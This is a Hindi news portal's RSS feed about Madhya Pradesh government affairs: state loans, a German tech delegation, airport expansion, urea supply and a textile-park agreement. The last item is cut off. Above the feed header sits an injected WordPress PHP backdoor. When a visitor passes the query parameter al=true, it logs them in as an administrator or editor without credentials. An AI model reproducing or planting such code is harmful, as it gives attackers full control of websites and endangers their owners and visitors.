// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); moahn – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 26 Aug 2025 09:58:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 5 माह में 13वीं बार कर्ज़: मोहन सरकार आज बाजार से उठाएगी 4800 करोड़ रुपए https://pratyushaashakinayikiran.com/?p=180791 Tue, 26 Aug 2025 09:58:00 +0000 https://pratyushaashakinayikiran.com/?p=180791 भोपाल 
मोहन सरकार मंगलवार को फिर से 4 हजार 800 करोड़ रुपए का कर्ज लेने जा रही है। दो पार्ट में 2300 करोड़ और 2500 करोड़ का कर्ज लिया जाएगा। इससे पहले सरकार ने 5 अगस्त को 4 हजार करोड़ रुपए और जुलाई में 9100 करोड़ रुपए का कर्ज बाजार से उठाया था। 

रिजर्व बैंक के ई-कुबेर सिस्टम के जरिये मोहन सरकार एक बार फिर कर्ज उठा रही है। आज लिया जा रहा पहला कर्ज 2300 करोड़ रुपए का होगा, जो 18 साल के लिए है। इसकी अदायगी राज्य सरकार ब्याज के जरिये हर छह माह में करेगी। इसी तरह 2500 करोड़ रुपए का दूसरा कर्ज 20 साल के लिए लिया जा रहा है जिसका भुगतान हर छह माह में ब्याज के जरिये किया जाएगा। दोनों ही कर्ज उठाने के बाद सरकार को 4800 करोड़ की रकम 28 अगस्त को मिलेगी।

कुल कर्ज 4 लाख 49 हजार 640 करोड़ पहुंचेगा

मोहन सरकार ने इसके पहले चालू वित्त वर्ष में 5 अगस्त, 30 जुलाई, 8 जुलाई, 4 जून और 7 मई को कर्ज लिए हैं। इसके बाद चालू वित्त वर्ष में कुल कर्ज की राशि 27900 करोड़ रुपए और कुल कर्ज बढ़कर 449640.27 करोड़ रुपए हो जाएगा। 31 मार्च 2025 की स्थिति में राज्य सरकार पर कुल कर्ज 4 लाख 21 हजार 740 करोड़ 27 लाख रुपए था।

राजस्व सरप्लस के चलते लिया लोन

सरकार ने अपनी रेवेन्यू को लेकर कहा है कि वित्त वर्ष 2023-24 में सरकार 12487.78 करोड़ के रेवेन्यू सरप्लस में थी। इसमें आमदनी 234026.05 करोड़ और खर्च 221538.27 करोड़ रहा। इसके विपरीत वित्त वर्ष 2024-25 में प्रदेश सरकार की रिवाइज्ड आमदनी 262009.01 करोड़ और खर्च 260983.10 करोड़ बताया है। इस तरह पिछले वित्त वर्ष में भी सरकार की आय 1025.91 करोड़ सरप्लस बताई गई है।

मोहन सरकार ने कब-कब लिया कर्ज

    5 अगस्त को 3 कर्ज लिए थे, जिसका भुगतान छह अगस्त को हुआ। इसमें पहला कर्ज 18 साल के लिए 1600 करोड़ का था। दूसरा कर्ज 20 साल के लिए 1400 करोड़ और तीसरा कर्ज 23 साल के लिए 1000 करोड़ रुपए का था। इस तरह कुल 4000 करोड़ रुपए का कर्ज लिया गया था।

    30 जुलाई को 4300 करोड़ रुपए के दो कर्ज लिए। दोनों ही कर्ज 17 साल और 23 साल के लिए आरबीआई के माध्यम से लिए जा गए, जिसका भुगतान सालभर में दो बार कूपन रेट के जरिए ब्याज के रूप में किया जाएगा। ये दोनों ही कर्ज चालू वित्त वर्ष में लिए 7वें और 8वें कर्ज रहे हैं।

    8 जुलाई को 2500 और 2300 करोड़ रुपए के दो कर्ज लिए थे। दोनों ही कर्ज 16 साल और 18 साल के लिए आरबीआई के माध्यम से लिए, जिसका भुगतान सालभर में दो बार कूपन रेट के जरिए ब्याज के रूप में किया जाएगा।

    आरबीआई के माध्यम से 2 लोन 4 जून को लिए। पहला लोन 16 साल के लिए 2000 करोड़ रुपए का था। सरकार ब्याज के साथ इसकी अदायगी 4 जून 2041 तक करेगी। दूसरा लोन 18 साल के लिए 2500 करोड़ रुपए का था। यह 4 जून 2043 तक ब्याज के साथ चुकाया जाएगा।

    सरकार ने चालू वित्त वर्ष का पहला कर्ज 7 मई को लिया था। इस दिन दो कर्ज ढाई-ढाई हजार करोड़ रुपए के लिए थे। मई में ढाई हजार करोड़ का पहला कर्ज 12 साल के लिए लिया था, जिसका ब्याज सात मई 2037 तक चुकाना है। इसी तरह ढाई हजार करोड़ रुपए का दूसरा कर्ज 7 मई को ही 14 साल के लिए लिया है, जिसकी भरपाई सात मई 2039 तक ब्याज के रूप में होगी।

एक हफ्ते में दूसरी बार कर्ज लेगी मोहन सरकार

मोहन यादव सरकार एक हफ्ते के अंतराल में मंगलवार को फिर बाजार से चार हजार करोड़ रुपए का कर्ज ले रही है। इसका भुगतान सरकार को बुधवार को होगा। दो-दो हजार करोड़ रुपए के यह कर्ज 22 साल और 6 साल के अवधि के हैं जिसका भुगतान सरकार छमाही ब्याज के रूप में करेगी। इसके साथ ही मोहन सरकार चालू वित्त वर्ष में 51 हजार करोड़ रुपए का कर्ज ले चुकी होगी। इसके पहले चार मार्च को छह हजार करोड़ रुपए का कर्ज दो-दो हजार की तीन किस्तों में लिया गया था। सरकार ने पिछले माह 20 फरवरी को जीआईएस के पहले भी 6 हजार करोड़ रुपए का कर्ज लिया गया था। एक हफ्ते के अंतराल में सरकार दस हजार करोड़ रुपए का कर्ज ले रही है। अभी कुछ और कर्ज लिए जा सकते हैं।

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मध्यप्रदेश–जर्मनी टेक्नोलॉजी एवं इनोवेशन सहयोग 2025 https://pratyushaashakinayikiran.com/?p=179497 Thu, 21 Aug 2025 06:26:00 +0000 https://pratyushaashakinayikiran.com/?p=179497 मध्यप्रदेश–जर्मनी टेक्नोलॉजी एवं इनोवेशन सहयोग 2025

जर्मन व्यापार प्रतिनिधिमंडल ने किया इंदौर–उज्जैन दौरा, नवाचार और उद्योग का परिचय

उद्योग, नवाचार और अध्यात्म का संगम: जर्मन प्रतिनिधिमंडल का इंदौर–उज्जैन दौरा

इंदौर–उज्जैन में जर्मन व्यापारियों का दौरा, उद्योग और संस्कृति के नए पहलुओं से परिचय

जर्मन व्यापार प्रतिनिधिमंडल का इंदौर–उज्जैन दौरा, नवाचार, उद्योग और अध्यात्म का अनूठा संगम

इंदौर

मुख्यमंत्री डॉ. मोहन यादव के नेतृत्व में मध्यप्रदेश में निवेश एवं नवाचार को प्रोत्साहित करने के निरंतर प्रयासों का असर बुधवार को उज्जैन और इंदौर में भी स्पष्ट रूप से दिखाई दिया। ‘मध्यप्रदेश ग्लोबल इनोवेशन प्रोग्राम 2025’ के तीसरे दिन जर्मनी की पाँच अग्रणी टेक कंपनियों के प्रतिनिधिमंडल ने आईआईटी इंदौर, चरक सेन्टर फॉर डिजिटल हेल्थ केयर का भ्रमण किया और उज्जैन स्मार्ट सिटी लिमिटेड में स्थानीय उद्यमियों, स्टार्टअप्स से संवाद किया। प्रतिनिधिमंडल का दौरा एमपीआईडीसी के नेतृत्व में जीआईआईसी एवं आईएम ग्लोबल के सहयोग से हो रहा है। यह दौरा 22 अगस्त तक इंदौर और भोपाल में जारी रहेगा।

प्रतिनिधि मंडल की तीसरे दिवस दिन की शुरुआत आईआईटी इंदौर के चरक सेन्टर फॉर डिजिटल हेल्थ केयर के अनुभवात्मक दौरे से हुई। इस दौरान आईआईटीआई दृष्टि सीपीएस फाउंडेशन और उनके स्टार्टअप कार्यों का परिचय दिया गया। इसके बाद डिजिटल हेल्थकेयर टेक्नोलॉजीज का प्रदर्शन किया गया। साथ ही इंटेलिजेंट मैन्युफैक्चरिंग सेंटर का भ्रमण भी हुआ।

इसके बाद प्रतिनिधिमंडल उज्जैन पहुँचा, उज्जैन स्मार्ट सिटी कार्यालय में आयोजित सत्रों में प्रतिनिधिमंडल ने पहले स्थानीय उद्योगपतियों एवं HNIs से बैठक की। इस दौरान निवेश और संभावित साझेदारियों के अवसरों पर विचार-विमर्श हुआ। साथ ही उज्जैन आधारित टेक स्टार्टअप्स के साथ विशेष इंटरैक्शन हुआ, जिसमें युवा उद्यमियों ने अपने नवाचारपूर्ण उत्पाद एवं समाधानों का प्रदर्शन किया। उज्जैन स्मार्ट सिटी में आयोजित राउंड टेबल मीटिंग में आयुक्त स्मार्ट सिटी अभिलाष मिश्रा, मुख्य कार्यपालन अधिकारी जिला पंचायत संदीप शिवा सहित वरिष्ठ अधिकारी एवं उद्यमी उपस्थित रहे। "आर्टिफिशियल इंटेलीजेन्स एंड सिंहस्थ-2028" सत्र में प्रतिनिधिमंडल एवं स्थानीय उद्यमियों ने चर्चा के दौरान यह जाना कि एआई, डिजिटल टेक्नोलॉजी और स्मार्ट समाधान आगामी सिंहस्थ 2028 को एक वैश्विक आयोजन के रूप में प्रस्तुत करने में कैसे योगदान दे सकते हैं। इस अवसर पर स्मार्ट मैनेजमेंट, भीड़ नियंत्रण, रियल टाइम डेटा एनालिटिक्स और डिजिटल कनेक्टिविटी जैसे विषयों पर विस्तृत संवाद हुआ।

बैठक के दौरान स्मार्ट सिटीके लिए इनोवेटिव समाधान, विशेषकर आर्टिफिशियल इंटेलीजेंस आधारित रिप्लेसमेंट एजेन्ट्स पर गहन चर्चा हुई। इस अवसर पर एआई और टेक्नोलॉजी स्टार्टअप्स की सक्रिय भागीदारी ने स्थानीय नवाचार पारिस्थितिकी तंत्र को नई दिशा प्रदान की।

लेक्सीनेक्सी एआई, मिलेट आईटी, एमआर सॉफ्ट प्रा.लि. जैसे स्थानीय उद्यम अंतर्राष्ट्रीय कंपनियों एवंजर्मन डेलीगेशन के साथसाझेदारी व सहयोग के अवसर तलाश रहे हैं। यह पहल उज्जैन को ग्लोबल इनोवेशन हब के रूप में स्थापित करने की दिशा में एक सशक्त कदम है।

इस अवसर पर कार्यकारी निदेशक एमपीआईडीसी राजेश राठौड़ एवं मुख्य कार्यपालन अधिकारी जिला पंचायत संदीप शिवा ने अपने संबोधन में कहा कि Cities 2.0 Vision और महाकुंभ प्रोजेक्ट को आधुनिक तकनीकी समाधानों के आदर्श मॉडल के रूप में विकसित किया जाएगा। उन्होंने ज़ोर दिया कि उज्जैन शीघ्र ही सस्टेनेबल अर्बन डेवलपमेंट और स्मार्ट टेक्नोलॉजी एडॉप्शन का अग्रणी केंद्र बनेगा।

आईएम ग्लोबल के संस्थापक सी.के. तिवारी ने कहा कि नए व्यवसायों की चुनौतियों का समाधान केवल रिसर्च-ड्रिवन अप्रोच और ग्लोबल कोलैबोरेशन से ही संभव है। उन्होंने स्टार्टअप्स को अंतर्राष्ट्रीय साझेदारी और प्रतिस्पर्धी वैश्विक बाज़ारों में सफलता के लिए तैयार रहने का आह्वान किया।

जर्मन प्रतिनिधिमंडल ने उज्जैन प्रवास के दौरान सर्वप्रथम महाकालेश्वर मंदिर में दर्शन-पूजनकर आध्यात्मिक अनुभूति प्राप्त की। इसके बाद मध्यप्रदेश औद्योगिक विकास निगम (एमपीआईडीसी) के क्षेत्रीय कार्यालय उज्जैन का दौरा किया, जहाँ कार्यकारी निदेशक राजेश राठौड़ ने उनका स्वागत किया।

बैठक के दौरान मध्यप्रदेश में निवेश, नवाचार और औद्योगिक विकास की व्यापक संभावनाओं पर विस्तार से चर्चा हुई। प्रतिनिधिमंडल को राज्य में विकसित हो रहे नवीन औद्योगिक ढांचे, प्रौद्योगिकी आधारित पारिस्थितिकी तंत्र तथा सरकार द्वारा निवेशकों को प्रदत्त सुगम और पारदर्शी नीतिगत वातावरण की जानकारी दी गई।

प्रतिनिधिमंडल को विक्रम उद्योगपुरी लिमिटेड की औद्योगिक परियोजनाओं और उज्जैन में उभरते निवेश अवसरों से भी अवगत कराया गया। यह संवाद भारत-जर्मनी के मध्य औद्योगिक सहयोग और भविष्य की साझेदारियों की दिशा में एक महत्वपूर्ण कदम साबित होगा।

जर्मन कंपनी टाइलर्स, हैलोनिक, स्टेक्स, क्यू-कनेक्ट-एजी और क्लाउड-स्क्विड के प्रतिनिधि मंडल ने अपनी प्रतिक्रिया में उज्जैन दौरे को अत्यंत सार्थक बताया। उनका मानना था कि उद्योग और अध्यात्म का यह अनूठा संगम है। एआई एवं टेक्नोलॉजी के ज़रिए वैश्विक आयोजन ‘सिंहस्थ-2028’ की तैयारियाँ मध्यप्रदेश की प्रगतिशील सोच और नवाचार क्षमता का प्रमाण हैं।

 

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मुख्यमंत्री डॉ. यादव से क्रिकेटर वेंकटेश अय्यर ने की सौजन्य भेंट https://pratyushaashakinayikiran.com/?p=179356 Wed, 20 Aug 2025 11:47:00 +0000 https://pratyushaashakinayikiran.com/?p=179356 भोपाल 

मुख्यमंत्री डॉ. मोहन यादव से बुधवार को मुख्यमंत्री निवास स्थित समत्व भवन में क्रिकेटर वेंकटेश अय्यर ने सपत्नीक सौजन्य भेंट की।

मुख्यमंत्री डॉ. यादव का क्रिकेटर अय्यर ने पुष्पगुच्छ भेंटकर स्वागत किया। उन्होंने बताया कि वह इंदौर शहर के निवासी हैं। भेंट के दौरान विभिन्न विषयों पर चर्चा हुई।

मुख्यमंत्री डॉ. यादव ने अय्यर को उनके अब तक के क्रिकेट प्रदर्शन की बधाई और उज्ज्वल भविष्य की शुभकामनाएं दीं।

 

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सुदूर अंचलों तक हवाई पहुंच के लिए प्रदेश में किया जाएगा विमान सेवाओं का विस्तार : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=179240 Wed, 20 Aug 2025 04:16:00 +0000 https://pratyushaashakinayikiran.com/?p=179240 सुदूर अंचलों तक हवाई पहुंच के लिए प्रदेश में किया जाएगा विमान सेवाओं का विस्तार : मुख्यमंत्री डॉ. यादव

मुख्यमंत्री डॉ. यादव: सुदूर अंचलों तक हवाई पहुंच बढ़ाने के लिए विमान सेवाओं का विस्तार

मुख्यमंत्री ने किया विमान सेवाओं के विस्तार का ऐलान, सुदूर अंचलों तक पहुंचेगी हवाई सुविधा

भोपाल

मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि सुदूर अंचलों तक हवाई पहुंच संभव करने के लिए सरकार द्वारा विमान सेवाओं का विस्तार किया जा रहा है। राज्य सरकार का लक्ष्य है, प्रदेश में हर 150 किलोमीटर पर एक हवाई अड्डा और हर 75 किलोमीटर पर एक हवाई पट्टी उपलब्ध हो। इससे न केवल शहरी क्षेत्र बल्कि ग्रामीण और दूरस्थ इलाके भी हवाई नेटवर्क से जुड़ सकेंगे।

मुख्यमंत्री डॉ. यादव ने बताया कि मध्यप्रदेश में हवाई कनेक्टिविटी को मजबूत करने की कड़ी में रीवा, सतना और दतिया में नए हवाई अड्डों का शुभारंभ किया गया है। प्रदेश में हवाई अड्डों की संख्या बीते एक वर्ष में 5 से बढ़कर 8 हो गई है। शिवपुरी में नए हवाई अड्डे के लिए अनुबंध भी हो चुका है।

मध्यप्रदेश हवाई कनेक्टिविटी के क्षेत्र में अग्रणी राज्यों में शामिल होने की दिशा में तेजी से बढ़ रहा है। सरकार का उद्देश्य इस योजना के माध्यम से पर्यटन, व्यापार और आपातकालीन सेवाओं को बढ़ावा देना है। नए हवाई अड्डों और हवाई पट्टियों के निर्माण से कनेक्टिविटी में सुधार होगा। साथ ही ­स्थानीय स्तर पर रोजगार सृजन और आर्थिक विकास को भी गति मिलेगी।

 

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आगामी डेढ़ माह में 5.60 लाख मेट्रिक टन यूरिया प्राप्त होने की संभावना : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=179123 Tue, 19 Aug 2025 12:41:00 +0000 https://pratyushaashakinayikiran.com/?p=179123 आगामी डेढ़ माह में 5.60 लाख मेट्रिक टन यूरिया प्राप्त होने की संभावना : मुख्यमंत्री डॉ. यादव

पूंजीगत व्यय में मध्यप्रदेश देश के प्रथम तीन राज्यों में शामिल
वर्ष 2024-25 में प्रदेश ने किया 66 हजार 218 करोड़ रूपए का निर्यात
मुख्यमंत्री डॉ. यादव के नेतृत्व में मंत्रि-परिषद ने प्रधानमंत्री विकसित भारत रोजगार योजना लागू करने के लिए प्रधानमंत्री मोदी का माना आभार
जिलों के विकास कार्यों और योजनाओं की प्रगति पर जिलेवार पुस्तकें प्रकाशित की जाएंगी
प्रदेश में मक्का का क्षेत्रफल 5 लाख हेक्टेयर बढ़ा
प्रधानमंत्री मोदी को भोपाल मेट्रो ट्रेन के शुभारंभ और किसान सम्मेलन के लिए किया आमंत्रित
मुख्यमंत्री डॉ. यादव ने मंत्रि-परिषद की बैठक से पहले किया संबोधित

भोपाल 

मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि चालू वित्तीय वर्ष की प्रथम तिमाही में पूंजीगत व्यय में वृद्धि वाले प्रथम तीन राज्यों में मध्यप्रदेश ने अपना स्थान बनाया है। कैग के आंकड़ों के अनुसार देश के 16 राज्यों ने पिछले वर्ष की तुलना में पूंजीगत व्यय में वृद्धि दर्ज की है। गुजरात 65%, उत्तर प्रदेश 42% और मध्यप्रदेश की उपलब्धि 41% है। साल दर साल वृद्धि के साथ मध्यप्रदेश का यह सबसे उत्कृष्ट प्रदर्शन है। मुख्यमंत्री डॉ. यादव ने प्रदेश की इस उपलब्धि के लिए मंत्रि-परिषद के सभी साथियों को बधाई दी। मुख्यमंत्री डॉ. यादव मंत्रि-परिषद की बैठक से पहले मंत्रीगण को संबोधित कर रहे थे।

मुख्यमंत्री डॉ. यादव ने कहा कि उन्होंने प्रधानमंत्री नरेन्द्र मोदी से नई दिल्ली में भेंट कर उन्हें प्रदेश में जारी विकास कार्यों से अवगत कराया तथा उन्हें आगामी दिनों में भोपाल मेट्रो ट्रेन के शुभारंभ और विशाल किसान सम्मेलन के लिए आमंत्रित किया। प्रधानमंत्री मोदी के दोनों कार्यक्रमों में शामिल होने की संभावना है।

फार्मास्युटिकल, इंजीनियरिंग गुड्स और सोया उत्पादों के निर्यात बढ़ने से हुई 6% की वृद्धि

मुख्यमंत्री डॉ. यादव ने बताया कि वित्तीय वर्ष 2024-25 में मध्यप्रदेश ने निर्यात में अपनी रैंकिंग में सुधार करते हुए अब तक का सबसे अधिक 66 हजार 218 करोड़ रुपए का निर्यात किया है। निर्यात में 6% की बढ़ोतरी हुई है, जो फार्मास्युटिकल, इंजीनियरिंग गुड्स और सोया उत्पादों में निर्यात बढ़ने के फलस्वरुप हुई है। राष्ट्रीय स्तर पर निर्यात में मध्य प्रदेश की रैंकिंग 15 से 11 हो गई है।

विकसित भारत रोजगार योजना से प्रदेश की औद्योगिक गतिविधियों को प्रोत्साहन मिलेगा

मुख्यमंत्री डॉ. यादव के नेतृत्व में मंत्रि-परिषद ने प्रधानमंत्री विकसित भारत रोजगार योजना लागू करने के लिए प्रधानमंत्री मोदी का आभार माना। मुख्यमंत्री डॉ. यादव ने कहा कि इसमें निजी क्षेत्र में नौकरी पाने वाले युवाओं को 15 हजार रूपए सरकार की ओर से दिए जाएंगे। देश में 3 करोड़ 50 लाख युवाओं को रोजगार मिलेगा। इस योजना से राज्य में औद्योगिक गतिविधियों को भी प्रोत्साहन मिलेगा। मुख्यमंत्री डॉ. यादव ने कहा कि हर्ष का विषय है कि इस दीपावली पर देश को बड़ा तोहफा मिलने वाला है। नई जनरेशन के लिए जीएसटी रिफॉर्म लागू किए जाएंगे। इससे दैनिक उपयोग की चीजें सस्ती होंगी और टैक्स में भी कमी आएगी।

स्वतंत्रता दिवस पर जिला स्तरीय कार्यक्रमों में हुए नवाचार को मंत्रि-परिषद ने सराहा

मुख्यमंत्री डॉ. यादव ने स्वतंत्रता दिवस कार्यक्रम पर किए गए नवाचार के संबंध में मंत्री साथियों से फीडबैक प्राप्त किया। उल्लेखनीय है कि इस वर्ष स्वतंत्रता दिवस के राज्य स्तरीय कार्यक्रम का सभी जिलों में एलईडी के माध्यम से सीधा प्रसारण किया गया। साथ ही सभी जिलों में जिला स्तरीय कार्यक्रम के मुख्य अतिथियों ने अपने संबोधन में संबंधित जिले में विगत डेढ-पौने दो वर्षों में किए गए विकास कार्यों और विभिन्न योजनाओं की प्रगति से जिले वालों को अवगत कराया। मुख्यमंत्री डॉ. यादव ने कहा कि सभी जिलों की विकास गतिविधियों और योजनाओं की प्रगति पर सभी जिलों में पुस्तकें प्रकाशित की जाएं और उनका विधिवत उत्सव आयोजन कर विमोचन किया जाए।

आगामी डेढ़ माह में 5.60 लाख मेट्रिक टन यूरिया प्राप्त होने की संभावना

मुख्यमंत्री डॉ. यादव ने बताया कि यूरिया का कुल भंडारण 15.60 लाख मेट्रिक टन है, जिसमें से 13.92 लाख मेट्रिक टन किसानों को वितरित किया गया है और 1.68 लाख मेट्रिक टन यूरिया शेष है। प्रदेश में मक्का का क्षेत्रफल लगभग 5 लाख हेक्टेयर बढ़ जाने के कारण यूरिया की मांग बढ़ी है। आगामी डेढ़ माह में 5.60 लाख मेट्रिक टन यूरिया प्राप्त होने की संभावना है।

अलग-अलग थीम पर निकली श्रीमहाकाल की सवारियां

मुख्यमंत्री डॉ. यादव ने कहा कि इस वर्ष भगवान महाकाल की सवारियों में नवाचार करते हुए प्रत्येक सवारी एक अलग थीम पर निकाली गई। पहली सवारी जहां वैदिक उद्घोष के साथ निकली वहीं बाद की सवारियां लोक, संस्कृति, पर्यटन आदि पर केन्द्रित रही। सवारियों में प्रदेश के जनजातीय अंचलों के कलाकारों ने पूरे उत्साह से भाग लिया। राजसी सवारी के दौरान हेलीकॉप्टर से पुष्पवर्षा की गई, जिसमें सम्पूर्ण नगर से जनभागीदारी के माध्यम से पुष्प एकत्रित किए गए।

स्वदेशी को प्रोत्साहन

मुख्यमंत्री डॉ. यादव ने कहा कि वर्तमान वैश्विक संदर्भ में देश को आर्थिक रूप से सशक्त और आत्मनिर्भर बनाने के लिये प्रधानमंत्री मोदी की दृढ़ता हम सबके लिये प्रेरणा स्त्रोत है। प्रदेश के रायसेन जिले के उमरिया गांव में गत दिनों बीईएमएल आधुनिक रेल कोच कारखाने का शिलान्यास प्रदेश के लिये एक बड़ी सौगात है और स्वदेशी अभियान की दिशा में एक महत्वपूर्ण कदम है। इसी तरह धार जिले में पीएम मित्रा पार्क से मध्यप्रदेश की टेक्सटाइल इंडस्ट्री को ‘फार्म-टू-फॉरेन’ की नई दिशा मिलेगी।

 

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प्रधानमंत्री के फाइव एफ विजन से मध्यप्रदेश परिधान और वस्त्र उद्योग का बनेगा वैश्विक केन्द्र : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=178103 Fri, 15 Aug 2025 03:40:00 +0000 https://pratyushaashakinayikiran.com/?p=178103 प्रधानमंत्री के फाइव एफ विजन से मध्यप्रदेश परिधान और वस्त्र उद्योग का बनेगा वैश्विक केन्द्र : मुख्यमंत्री डॉ. यादव

पीएम मित्रा पार्क से मध्यप्रदेश के टैक्सटाइल क्षेत्र को मिलेगी नई ऊँचाइयाँ
मेड इन एमपी-वियर एक्रॉस द वर्ल्ड राज्य का औद्योगिक मिशन
मुख्यमंत्री ने बीएसएल के अंतर्राष्ट्रीय सोर्सिंग लीडर्स के साथ की राउंड टेबल बैठक
राज्य सरकार – बीएसएल के बीच हुआ एमओयू

भोपाल 

मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि प्रधानमंत्री नरेन्द्र मोदी के 5 एफ विजन को ध्यान में रखते हुए मध्यप्रदेश परिधान और वस्त्र उद्योग में ‘फार्म टू फाइबर, फाइबर टू फैक्ट्री, फैक्ट्री टू फैशन और फैशन टू फॉरेन’ की समूची वैल्यू चेन को एकजुट कर वैश्विक केंद्र बनने की ओर अग्रसर है। प्रदेश के धार जिले में स्थापित होने वाले "पीएम मित्रा पार्क" से प्रदेश में टैक्सलाइल क्षेत्र को नई ऊँचाइयाँ मिलेंगी। राज्य में ऑर्गेनिक कॉटन का सुदृढ़ आधार, आधुनिक टेक्सटाइल/गारमेंट क्षमताएं, प्रचुर ग्रीन एनर्जी, स्थिर नीति वातावरण और तेज़ फैसले लेने की प्रशासनिक संस्कृति उद्योगों को वह भरोसा देती है, जिससे वैश्विक ब्रांड्स मध्यप्रदेश में निवेश लिए आकर्षित होते हैं। मुख्यमंत्री ने कहा कि ‘मेड इन एमपी – वियर एक्रॉस द वर्ल्ड’ केवल एक नारा नहीं, बल्कि राज्य का औद्योगिक मिशन है, जिसके तहत प्रदेश के उत्पादों की वैश्विक बाजारों तक प्रतिस्पर्धी पहुंच सुनिश्चित की जा रही है। टेक्सटाईल्स एवं गारमेंट सेक्टर से किसान महिला, युवा एवं गरीब वर्गों का सशक्तिकऱण हो रहा है।

मुख्यमंत्री डॉ. यादव ने गुरूवार को मुख्यमंत्री निवास समत्व भवन में बीएसएल के अंतराष्ट्रीय सोर्सिंग लीडर्स के साथ राउण्ड टेबल बैठक की। इस अवसर पर राज्य सरकार और बीएसएल के बीच एमओयू भी हुआ।

मुख्यमंत्री डॉ. यादव ने बैठक में उपस्थित अंतर्राष्ट्रीय ब्रांड प्रतिनिधियों और सोर्सिंग प्रमुखों को संबोधित करते हुए कहा कि प्रदेश ने प्रधानमंत्री के 5 एफ विज़न को जमीनी रूप दिया है। दिल्ली में 31 जुलाई को हुई पहली बैठक को उन्होंने “संकल्प से सफलता तक” की यात्रा का प्रारंभ बताया और कहा कि भोपाल की यह बैठक उस संकल्प को ठोस परिणामों में बदलने का अवसर है। मुख्यमंत्री डॉ. यादव ने बताया कि धार में 2,177 एकड़ में पीएम मित्रा स्थापित किया जा रहा है। जल्द ही प्रधानमंत्री मोदी द्वारा इसका भूमि पूजन किया जाएगा। भूमि-पूजन से पूर्व ही 16 हजार करोड़ रु. से अधिक के निवेश अभिरुचि-पत्र प्राप्त हो चुके हैं। टैक्सटाइल सेक्टर में अब तक प्रदेश के 3,513 करोड़ रूपये से अधिक का निवेश प्राप्त हुआ है। उन्होंने कहा कि मध्यप्रदेश को निवेश फ्रेंडली स्थल बनाने के लिए सरकार ने कई नीतियां बनाई हैं। उद्योग संबंधी 29 अनुमतियों को कम करके अब 10 कर दिया गया है। उद्योग स्थापना के लिए 30 दिन में प्रक्रियाओं का निष्पादन किया जा रहा है। प्रदेश में सिंगल विंडो सिस्टम है, जिससे कोई फाइल अटके नहीं और कोई निर्णय रुके नहीं। कई गैर जरूरी कानूनों को समाप्त कर दिया गया है, जिससे निवेशकों को ईज ऑफ डूईंग बिजनेस का आदर्श माहौल उपलब्ध कराया जा सके। साथ ही निवेशकों को कई निवेश प्रोत्साहन दिए जा रहे हैं, जिसमें सस्ती दर पर बिजली, पानी, भूमि तथा ब्याज सब्सिडी शामिल हैं।

मुख्यमंत्री डॉ. यादव ने कहा कि मध्यप्रदेश सामाजिक, सांस्कृतिक और पुरातात्विक रूप से समृद्ध प्रदेश है। यहां सांची के स्तूप एवं मानव विकास के अंकुरण के समय के शैलचित्र युक्त भीमबैठका, महाकाल जैसे प्रसिद्ध स्थल हैं। उन्होंने कहा कि यहां पर जन और जंगल सह अस्तित्व से रहते हैं। कई बार बाघ शहर की सड़कों पर सैर करता हुआ भी दिख जाता है।

मुख्यमंत्री डॉ. यादव ने महिला सशक्तिकरण को उद्योग विकास का मूल बताया। उन्होंने बताया कि परिधान उद्योग में महिला कार्यबल की भागीदारी बढ़ाने के लिए राज्य सरकार द्वारा प्रति महिला कर्मचारी 5 हजार रूपये वार्षिक प्रोत्साहन, कार्यस्थलों के निकट महिला छात्रावास और क्रेच और सुरक्षित परिवहन की व्यवस्था लागू की जा रही है। उन्होंने कहा कि GOTS-प्रमाणित जैविक कपास में मध्यप्रदेश की बढ़त वैश्विक ईएसजी लक्ष्यों को साधने में ब्रांडों की सीधी भागीदार बनेगी। मुख्यमंत्री ने ऊर्जा क्षेत्र में राज्य की श्रेष्ठता रेखांकित करते हुए कहा कि मध्यप्रदेश सरप्लस बिजली वाला राज्य है। दिल्ली की मेट्रो मध्यप्रदेश की बिजली पर चल रही है। प्रदेश प्रतिस्पर्धी दरों पर ऊर्जा उपलब्ध करा रहा है। मध्यप्रदेश देश में सबसे कम दर पर बिजली दे रहा है। प्रदेश में नवकरणीय ऊर्जा का तीव्र विस्तार हो रहा है, जिससे उद्योगों के लिए ग्रीन सप्लाई-चेन संभव हो रही है। एविएशन नीति के अंतर्गत अंतर्राष्ट्रीय उड़ानों पर प्रति फ्लाइट 15 लाख रूपये तक की सब्सिडी, नए एयर रूट्स और हाल ही में बढ़ी हवाई कनेक्टिविटी से एक्सपोर्ट-लॉजिस्टिक्स को ठोस बढ़ावा मिला है।

मध्यप्रदेश औद्योगिक विकास के साथ अपने सामाजिक दायित्वों का भी बखूबी निर्वहन कर रहा है। देश में एयर एम्बुलेंस शुरु करने वाला मध्यप्रदेश पहला राज्य है। यहां नागरिकों सामाजिक सुरक्षा के लिए कई योजनाएं चलाई जा रही हैं। स्वास्थ्य सेवाओं का विस्तार हो रहा है।

बीएसएल और राज्य सरकार के बीच हुआ एमओयू

